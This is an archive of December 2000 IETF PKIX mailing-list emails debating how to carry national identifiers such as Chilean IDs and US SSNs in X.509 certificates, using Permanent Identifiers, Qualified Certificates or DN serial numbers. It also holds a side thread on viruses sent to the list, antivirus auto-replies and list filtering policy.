X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <3A40DED7.CD281A62@bull.net>

[snip]

>
> > I like PI solution, mainly because I think that "Permanent
> Identifier" ia a
> > separate concept, and should be outer the DN, but I am concern about how
> > many support into the PKIX WG the PI has currently. Seem that
> QC has better
> > support today.
>
> No one yet support QCs. Then supporting QC does not necessarily means
> supporting all the features described in QC. A good combination
> would be to
> use both QC and PI. This means that the *optional* serial number
> used in the
> DN would not usually be present as soon as the PI extension is present.
>
>

I understand that SerialNumber isn't *optional*, because DN has to be
unique, if the CN isn't unique.

By example, two persons that have equal names (CN, givenName.

C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 123
C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 444

Using QC, is need to incorporate National ID into DN, for uniquiness =>
SerialNumber = 123, and SerialNumber =444

If we can using not unique DNs, we can put PI for identity uniqueness into
QC.

regards

Juan Carlos






Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA15353 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 09:40:54 -0800 (PST)
Received: from C70777A ([24.15.87.228]) by femail10.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001220174402.LCHG16074.femail10.sdc1.sfba.home.com@C70777A>; Wed, 20 Dec 2000 09:44:02 -0800
Message-ID: <022201c06aac$9855c190$e4570f18@plstn1.sfba.home.com>
From: "Khaja E. Ahmed" <khaja.ahmed@home.com>
To: "Dennis Glatting" <dennis.glatting@software-munitions.com>, <juancarlos.perez@acepta.com>, "Robert Moskowitz" <rgm-sec@htt-consult.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com> <5.0.0.25.2.20001220091716.02ee3b50@localhost>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
Date: Wed, 20 Dec 2000 09:45:08 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

I agree with Bob that an SSN in the US is fairly dependable (for some value
of fairly) as a unique identifier among US nationals.  There probably isn't
much lost by the fact that some us nationals, like Bob's Tennessee hosts,
will not be covered by this.  I sense a distinct lack of interest in
eCommerce there.

Note however that SSNs aren't just for US nationals. Visitors and foreign
nationals on student visa or H1 (temporary work) visa are also given an SSN
in the US.  So while an SSN can be used as unique identifiers for US
nationals there is no assurance of US nationality itself.  Unless there is a
number range reserved for US nationals, alien students and workers etc.

Khaja

----- Original Message -----
From: "Robert Moskowitz" <rgm-sec@htt-consult.com>
To: "Dennis Glatting" <dennis.glatting@software-munitions.com>;
<juancarlos.perez@acepta.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Sent: Wednesday, December 20, 2000 6:32 AM
Subject: Re: Why don't using Permanent Identifier on QC certificates?


> At 05:49 AM 12/20/2000 -0800, Dennis Glatting wrote:
>
> SSNs are a poor identity in the US.  Agreed.  The whole QC profile would
> have to be modified for use here.  The basic idea is sound but does not
fit
> into our structure.  Other countries will probably now submit THEIR
> profiles to the IETF for inclusion as a standard.
>
> For my part, I MUCH prefer the PI method to QC method (a separate
attribute
> outside of the DN).  For example, the State of Michigan could get an OID
> under the US (probably has one and does not know it), then assign one to
> the Department of Motor Vehicles.  My license # now becomes a PI.  I can
> now use a MI DMV cert to assert myself for a business cert with my bank.
>
> If you are not interested in a discussion on US SSNs, you might skip the
> rest of this message.
>
> >In the US each person is suppose to have a Social Security Number
> >(SSN) however this number may not be unique as there have been cases
> >when the USG has handed out duplicates.
>
> Many people over age 60 and some over 50 have duplicate #s.  This happened
> in the 50s when wallets were sold in the US with 'sample' SSN
> cards.  People buying those wallets thought those were their number.  Most
> of these are probably out of the system by now, thanks in large measure to
> Mediare and Medicaid.
>
> >It is integrated into our birthing system that a person is assigned an
SSN
> >at birth however
> >births outside the system (e.g., home births) this isn't the case and
> >a SSN may not be obtained for years.
>
> Only recently, since the IRS required SSNs for all dependents on the
> 1040.  I remember the year that I got my 3 oldest kids their #s to comply
> with the new 1040 regs.
>
> >I believe in the Federal Witness Protection Program one can get a new
SSN.
> >Finally, I don't know if it is true,
>
> It is.  There are other ways to get new SSNs too.
>
> >I am told one does not have to have a SSN however the US
> >system is structured that you do (read: life is a hassle).
>
> If you never file taxes and pay cash for medical care and avoid banks, you
> can do quite nicely without one.  Met some people in the hills of
Tennessee
> some years ago.  Their family has avoided all of this since 1792....
>
> Boy, did they make a good drink.
>
> And no, I did not EVEN ASK to see the still.  That is why I am here to
talk
> about it.
>
>
> Robert Moskowitz
> ICSA
> Security Interest EMail: rgm-sec@htt-consult.com
>



Received: from kevin.feste.es ([194.143.203.156]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA12290 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:39:03 -0800 (PST)
Received: from oficina (ladra.feste.es [194.143.203.155]) by kevin.feste.es (8.9.3/8.9.3) with SMTP id SAA11711 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 18:43:38 +0100
Message-ID: <002401c06aa4$4a3e94d0$0a02a8c0@feste.es>
From: "Oscar Conesa" <oconesa@feste.org>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
References: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
Subject: RE: National Identifier into Serial Number or SubjectAltName? 
Date: Wed, 20 Dec 2000 17:45:39 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

In Spain we have the same problem. Now, we use one propietary OID
(1.3.6.1.4.1.4710.1.3.1, Safelayer) in the Subject DN to codify
the spanish personal number identificaction (NIF, Numero de identificion fiscal).
We know that is not a good solution.

I think that PI is better than propietary OID.

Thanks
Oscar Conesa
Dtor Tecnico de FESTE

----- Original Message -----
From: Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com>
To: Robert Moskowitz <rgm-sec@htt-consult.com>
Cc: Ietf-Pkix <ietf-pkix@imc.org>
Sent: Wednesday, December 20, 2000 5:57 PM
Subject: National Identifier into Serial Number or SubjectAltName? (Was: Why don't using
Permanent Identifier on QC certificates?)


> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
>
> "...If you use QC DN must be unique so you really do not have an alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
>
> That's why I think PI is wrong. ..."
>
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
>
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...
>
> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity
>
> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.
>
> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and I
> am strongly supporting "PKIX standards" for our certificates.
>
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
>
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too). Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
>
> The companies must to obtain a ID assigned by the authoruty too. This ID
> uniquely identify the company into the country.
>
>
> Which do you think that is the PI draft future support?
>
> Thanks
>
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com
>
>



Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA12269 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:39:00 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA234906; Wed, 20 Dec 2000 11:41:30 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id LAA192474; Wed, 20 Dec 2000 11:40:06 -0500
Importance: Normal
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why don't using Permanent Identifier on QC certificates?)
To: <juancarlos.perez@acepta.com>
Cc: "Robert Moskowitz" <rgm-sec@htt-consult.com>, "Ietf-Pkix" <ietf-pkix@imc.org>
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF0809177C.C0CB638E-ON852569BB.0059E761@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Wed, 20 Dec 2000 11:42:03 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at 12/20/2000 11:42:14 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

     Responses below.  One question brought up by this thread is whether QC
should use PI now that PI has reached a similar point in the cycle.  When
QC was at draft 3 while PI was brand new, there were reasons not to delay
QC's for PI's, irrespective of PI's possible usefulness within QC's.  Those
reasons no longer apply.
     Most of the detailed responses below deal with the question of whether
there is any reason to make the DN of a governmental assignment authority
easily distinguishable from that of a private organization acting as an
assignment authority.

          Tom Gindin


Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com> on 12/20/2000
11:57:39 AM

Please respond to <juancarlos.perez@acepta.com>

To:   "Robert Moskowitz" <rgm-sec@htt-consult.com>
cc:   "Ietf-Pkix" <ietf-pkix@imc.org>
Subject:  National Identifier into Serial Number or SubjectAltName? (Was:
      Why don't using Permanent Identifier on QC certificates?)



May be isn't a good idea to incorporate Permanet Identifier into a QC, as
Anders Rundgren did say to me:

"...If you use QC DN must be unique so you really do not have an
alternative
but keep SerailNymber
and insert a redundant SerialNumber in a PI entry.

That's why I think PI is wrong. ..."

My principal concern is about how to incorporate a national ID into a
certificate, in a interoperable fashion.

I don't know how many countries has National IDs, and if is desired that
such ID could be to incorporated into a digital certificate, but in my
country (CHILE) so happen, and I wish to using a standard solution...

I think that QC is a good solution for certificates issued only a physical
people, and when a require a unique statement of identity

I like PI solution, mainly because I think that "Permanent Identifier" ia a
separate concept, and should be outer the DN, but I am concern about how
many support into the PKIX WG the PI has currently. Seem that QC has better
support today.

I am the Chief Technology Officer of a newly Certification Authority in my
country (we are currently not in production yet, but soon I hope :) ), and
I
am strongly supporting "PKIX standards" for our certificates.

If you are not interested in a discussion on Chilean National IDs and
certificates, you might skip the
rest of this message.

In my country , Chile, the Civil Registry Authority issue a unique
identifier (on a national domain) on birth. This ID is put into a plastic
"identification card" (and biometrics information is on the card too).
Every
citizen has a ID. This ID is used for many transactions: tax pay, obtaining
bank accounts, voting, ... Then I think that is nice to incorporate this ID
into a certificate, as a "virtual" identification card (whidauth photo and
biometrics).

[Tom Gindin] Such an ID would be the most common case of a PI with the
assignment authority set to C=CL.

The companies must to obtain a ID assigned by the authority too. This ID
uniquely identify the company into the country.

[Tom Gindin] The only issue in implementing this is what the correct
assignment authority name would be.  If the ID's are not clearly
incompatible (a different number of digits or an alpha prefix unique to
companies, for example), they could not use the same assignment authority
name.  Do we need to standardize a specific attribute value under a
geographic unit (whether C, C + ST, C + L, or C + ST + L) to indicate
organizational ID's while reserving the unqualified geographic unit name
for personal ID's assigned by the government of that unit, or should the
government just assign an organization name which will be human-readable
but will differ between jurisdictions?  There is no obvious X.520 attribute
to standardize under, nor any in RFC 1274 nor PKCS#9.

Which do you think that is the PI draft future support?

Thanks

Juan Carlos Perez Aguayo
CTO
Acepta.com
juancarlos.perez@acepta.com





Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA11748 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:28:37 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA09708; Wed, 20 Dec 2000 17:38:24 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA15542; Wed, 20 Dec 2000 17:31:19 +0100
Message-ID: <3A40DED7.CD281A62@bull.net>
Date: Wed, 20 Dec 2000 17:31:19 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Robert Moskowitz <rgm-sec@htt-consult.com>, Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why  don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Juan Carlos,

> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
> 
> "...If you use QC DN must be unique so you really do not have an alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
> 
> That's why I think PI is wrong. ..."
> 
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
> 
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...

The PI is not restricted to national IDs. It also works with corporate IDs.

> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity

The choice is not between QC and PI. Originally, it has been proposed to add
PI into the QC profile. At the Pittsburgh meeting, it has been decided that
the two documents go their own way.


> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.

No one yet support QCs. Then supporting QC does not necessarily means
supporting all the features described in QC. A good combination would be to
use both QC and PI. This means that the *optional* serial number used in the
DN would not usually be present as soon as the PI extension is present.


> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and I
> am strongly supporting "PKIX standards" for our certificates.
> 
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
> 
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too). Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
> 
> The companies must to obtain a ID assigned by the authoruty too. This ID
> uniquely identify the company into the country.
> 
> Which do you think that is the PI draft future support?

People usually wait for the document to reach the level of a Proposed
Standard before implementing it. We are close to that stage, but not yet
there. As mentioned during the last IETF meeting, PI is a useful, but
optional, feature. 

Regards,

Denis


> Thanks
> 
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com


Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA08431 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 07:56:16 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA17610; Wed, 20 Dec 2000 12:56:29 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Robert Moskowitz" <rgm-sec@htt-consult.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: National Identifier into Serial Number or SubjectAltName? (Was: Why don't using Permanent Identifier on QC certificates?)
Date: Wed, 20 Dec 2000 12:57:39 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <5.0.0.25.2.20001220091716.02ee3b50@localhost>

May be isn't a good idea to incorporate Permanet Identifier into a QC, as
Anders Rundgren did say to me:

"...If you use QC DN must be unique so you really do not have an alternative
but keep SerailNymber
and insert a redundant SerialNumber in a PI entry.

That's why I think PI is wrong. ..."

My principal concern is about how to incorporate a national ID into a
certificate, in a interoperable fashion.

I don't know how many countries has National IDs, and if is desired that
such ID could be to incorporated into a digital certificate, but in my
country (CHILE) so happen, and I wish to using a standard solution...

I think that QC is a good solution for certificates issued only a physical
people, and when a require a unique statement of identity

I like PI solution, mainly because I think that "Permanent Identifier" ia a
separate concept, and should be outer the DN, but I am concern about how
many support into the PKIX WG the PI has currently. Seem that QC has better
support today.

I am the Chief Technology Officer of a newly Certification Authority in my
country (we are currently not in production yet, but soon I hope :) ), and I
am strongly supporting "PKIX standards" for our certificates.

If you are not interested in a discussion on Chilean National IDs and
certificates, you might skip the
rest of this message.

In my country , Chile, the Civil Registry Authority issue a unique
identifier (on a national domain) on birth. This ID is put into a plastic
"identification card" (and biometrics information is on the card too). Every
citizen has a ID. This ID is used for many transactions: tax pay, obtaining
bank accounts, voting, ... Then I think that is nice to incorporate this ID
into a certificate, as a "virtual" identification card (whidauth photo and
biometrics).

The companies must to obtain a ID assigned by the authoruty too. This ID
uniquely identify the company into the country.


Which do you think that is the PI draft future support?

Thanks

Juan Carlos Perez Aguayo
CTO
Acepta.com
juancarlos.perez@acepta.com




Received: from htt-consult.com ([63.82.18.210]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA00198 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 06:33:58 -0800 (PST)
Received: from rgm.htt-consult.com ([63.82.18.214]) by htt-consult.com ; Wed, 20 Dec 2000 09:37:16 -0500
Message-Id: <5.0.0.25.2.20001220091716.02ee3b50@localhost>
X-Sender: rgm-sec@homebase.htt-consult.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Wed, 20 Dec 2000 09:32:42 -0500
To: Dennis Glatting <dennis.glatting@software-munitions.com>, juancarlos.perez@acepta.com
From: Robert Moskowitz <rgm-sec@htt-consult.com>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
Cc: Ietf-Pkix <ietf-pkix@imc.org>
In-Reply-To: <3A40B8E7.6C4104AB@software-munitions.com>
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 05:49 AM 12/20/2000 -0800, Dennis Glatting wrote:

SSNs are a poor identity in the US.  Agreed.  The whole QC profile would 
have to be modified for use here.  The basic idea is sound but does not fit 
into our structure.  Other countries will probably now submit THEIR 
profiles to the IETF for inclusion as a standard.

For my part, I MUCH prefer the PI method to QC method (a separate attribute 
outside of the DN).  For example, the State of Michigan could get an OID 
under the US (probably has one and does not know it), then assign one to 
the Department of Motor Vehicles.  My license # now becomes a PI.  I can 
now use a MI DMV cert to assert myself for a business cert with my bank.

If you are not interested in a discussion on US SSNs, you might skip the 
rest of this message.

>In the US each person is suppose to have a Social Security Number
>(SSN) however this number may not be unique as there have been cases
>when the USG has handed out duplicates.

Many people over age 60 and some over 50 have duplicate #s.  This happened 
in the 50s when wallets were sold in the US with 'sample' SSN 
cards.  People buying those wallets thought those were their number.  Most 
of these are probably out of the system by now, thanks in large measure to 
Mediare and Medicaid.

>It is integrated into our birthing system that a person is assigned an SSN 
>at birth however
>births outside the system (e.g., home births) this isn't the case and
>a SSN may not be obtained for years.

Only recently, since the IRS required SSNs for all dependents on the 
1040.  I remember the year that I got my 3 oldest kids their #s to comply 
with the new 1040 regs.

>I believe in the Federal Witness Protection Program one can get a new SSN. 
>Finally, I don't know if it is true,

It is.  There are other ways to get new SSNs too.

>I am told one does not have to have a SSN however the US
>system is structured that you do (read: life is a hassle).

If you never file taxes and pay cash for medical care and avoid banks, you 
can do quite nicely without one.  Met some people in the hills of Tennessee 
some years ago.  Their family has avoided all of this since 1792....

Boy, did they make a good drink.

And no, I did not EVEN ASK to see the still.  That is why I am here to talk 
about it.


Robert Moskowitz
ICSA
Security Interest EMail: rgm-sec@htt-consult.com



Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA28708 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 05:47:49 -0800 (PST)
Received: from software-munitions.com (fwiw.plaintalk.bellevue.wa.us [206.129.5.157]) by btw.plaintalk.bellevue.wa.us (8.11.1/8.11.1) with ESMTP id eBKDnRj46903; Wed, 20 Dec 2000 05:49:27 -0800 (PST)
Message-ID: <3A40B8E7.6C4104AB@software-munitions.com>
Date: Wed, 20 Dec 2000 05:49:27 -0800
From: Dennis Glatting <dennis.glatting@software-munitions.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id FAA28710

Juan Carlos Pérez Aguayo wrote:
> 
	[snip] 
> Now, consider this:
> 
> a person has a unique identifier, assigned by a goverment authority, wich is
> guaranteed to be unique on a national scope (country domain)
> 

Not in the United States, at least not yet. 

In the US each person is suppose to have a Social Security Number
(SSN) however this number may not be unique as there have been cases
when the USG has handed out duplicates. It is integrated into our
birthing system that a person is assigned an SSN at birth however
births outside the system (e.g., home births) this isn't the case and
a SSN may not be obtained for years. I believe in the Federal Witness
Protection Program one can get a new SSN. Finally, I don't know if it
is true, I am told one does not have to have a SSN however the US
system is structured that you do (read: life is a hassle).


Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA12110 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 01:53:02 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id KAA01413 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 10:59:20 +0100
Message-ID: <3A408231.B7F70B0A@certplus.com>
Date: Wed, 20 Dec 2000 10:56:01 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: Our Own Worst Enemy?
References: <D51E45F5A88FD411B39700508BEEFF7607076C@eliz.arx.com>
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

Ilan Shacham wrote:

> Perhaps my wording wasn't very good - what I meant was that if we
> assume the list virus scanner is updated, most likely any virus
> that passes it will also pass those on subscriber's organizations
> virus scanners, and will therefore not fill up the list with
> warnings from each of them, which is what Tony was pondering about.

That makes me think about something.

Imagine I'm an evil hacker and want to introduce a new virus into a company
that uses one of this anti-virus.

I just begin by sending some old virus that I know will be recognised and
supressed.

This enables me to get the response email from the anti-virus that tells me
which anti-virus the company uses and what version.

I just have to design a new virus that I test beforehand to be sure that
version of this anti-virus will not be able to detect it and  this is it !

This robots should just stop sending this emails.



Received: from ar_exchange.arx.com (eliz.arx.com [212.25.66.95]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA03191 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 00:37:16 -0800 (PST)
Received: by eliz.arx.com with Internet Mail Service (5.5.2650.21) id <ZHQAA7ZR>; Wed, 20 Dec 2000 10:41:14 +0200
Message-ID: <D51E45F5A88FD411B39700508BEEFF7607076C@eliz.arx.com>
From: Ilan Shacham <ilans@arx.com>
To: "'Michael H. Warfield'" <mhw@wittsend.com>
Cc: "'Tony Bartoletti'" <azb@llnl.gov>, ietf-pkix@imc.org
Subject: RE: Our Own Worst Enemy?
Date: Wed, 20 Dec 2000 10:41:12 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA03227

Wow, ok, Mike, I'm glad I gave you a chance to let off some
steam... :-)

Perhaps my wording wasn't very good - what I meant was that if we
assume the list virus scanner is updated, most likely any virus
that passes it will also pass those on subscriber's organizations
virus scanners, and will therefore not fill up the list with 
warnings from each of them, which is what Tony was pondering about.

I agree with you that limiting messages to plain text would do the
trick (well, maybe not, who knows what else is coming up...),
and on a list of this kind I see no problem with that, but I'm not 
sure this is the correct forum to discuss it.

Ilan

-----Original Message-----
From: Michael H. Warfield [mailto:mhw@wittsend.com]
Sent: éåí ùìéùé 19 ãöîáø 2000 17:24
To: Ilan Shacham
Cc: 'Tony Bartoletti'; ietf-pkix@imc.org
Subject: Re: Our Own Worst Enemy?


On Tue, Dec 19, 2000 at 11:19:06AM +0200, Ilan Shacham wrote:
> True, But if the list engine included virus checking BEFORE sending
> the message to everyone in the list, we could solve this whole
> problem.

	No...

	<Minor Rant>

	No offense but what level of reality did you just come down off of?

	Virus checking HELPS (maybe) but it CAN'T "solve this whole
problem".  It can not, and will not, even in principle.  At worse, the
next time a virus slips through that it doesn't recognized or using
an encoding it doesn't recognize people will naturally assume that it
must be OK since it passed the virus filters.  (Been there, done that,
heard the sob stories.)

	Repeat after me...  Virus checking can NEVER prove something is
safe, it can GENERALLY indicate that something is PROBABLY dangerous
if not handled properly.  The virus scanner at my office keeps pissing
me off because I have to routinely handle cybertoxins like this and it
keeps filtering them out.  So they get zipped and encoded and encrypted
with all sorts of tricks to bypass the virus checker (HINT! HINT!).  Since
I run Linux and never use a mail program that allows active contect,
these things are pretty much safe for me to handle (And I want to thank
this list, I hadn't captured a sample of that macro worm yet.  :-) )

	On the mailing lists I run, we ban all HTML and most attachments,
PERIOD.  Even with the virus scanner front end, it is impossible to
keep up with the thousands of new viruses that are coming out, even if
we updated our signature files daily (assuming the anti-virus vendors
were updating daily).  The mailing lists get the double shield of blocking
any vehicle which can carry cybertoxins.  Ok...  Well...  Maybe not any.
We don't shield you if you are still vulnerable to the old ANSI bomb,
but there are things that are just TOO old to worry about.  :-)

	Over the last year, we have had a half a dozen virus incidents,
in spite of having ingress filtering on Unix, egress filtering on Unix,
and mailbox scanning on Exchange with multiple different virus scanners
and virus scanners on the individual NT workstations with centrally
managed signature files.

	The scanners are guarenteed to be always at least a little bit
out of date (look at how fast the "I love you" worm or explore.zip spred)
and the technology is not always well integrated (The virus scanner on
Exchange consistantly falls behind the spred of the toxin when one gets
that far).  When one of these incidents does occur, easily 2/3 of all
the victims fall back on the argument "well, I thought it was safe
because we have virus scanners, why did I get hit".  "Well, $#@$#@#@ DUH!
Why did you open the $#@$# thing?"

	It still remains a social problem and technology is not going
to protect fools who don't use common sense and run stupid shit.  In
this case, stupid shit consists of the entire domain of active content
in E-Mail and their potential carrier vehicles.

	Think about this now...  The latest spammer trick is to send
out HTML E-Mail with a "web bug".  That's a single pixel image that
points back to their web site.  Drop one of those on a mailing list
and you find out where people are reading the mailing list on.  You
also generally find out what their system type and browser type
is.  Get them to retrieve it by anonymous ftp, and you can also
reap a lot of E-Mail addresses.  Anyone who is reading E-Mail from a
mailing list with an HTML enabled reader or with active content enabled
or decided to just peek at that "greeting card" just out of curiosity,
is a DAMN FOOL.

	No...  Virus scanning is not the solution.  At best it's a leaky
bandaid that will cover some fools and trick other fools into thinking
they are safe.  Are the list managers then liable if their bandaid
doesn't cover what you think is enough and your system is corrupted by
something their filters let through?

	Application Programmer's Saying:  "Programming is a race between
Software Engineers who try to develop idiot proof programs and the
Universe which is trying to develop bigger and better idiots".

	Software Engineer's Saying:  "So far, the Universe is winning".

	</Minor Rant>

	If you want to do something effect then ban all mail on this list
containing HTML or HTML attachments, any Microsoft extensions (.doc, .exe,
.shs, .bat, .com, .xls...) or just plain block anything that is not
Mime type "plain/text" or simple text.  Then you might have a start at
covering the majority of possibilities.  It might even raise the quality
of the list.  :-)

> Ilan

> -----Original Message-----
> From: Tony Bartoletti [mailto:azb@llnl.gov]
> Sent: éåí ùðé 18 ãöîáø 2000 21:41
> To: ietf-pkix@imc.org
> Subject: Our Own Worst Enemy?
> 
> 
> This is fascinating, and just a bit depressing.
> 
> Simply email a virus to a public email discussion list, and watch it 
> transform into a mailbox-choking spam attack as every subscribing 
> organization's virus scanners echo their warnings back to the list.
> 
> :(
> 
> ___tony___
> 
> 
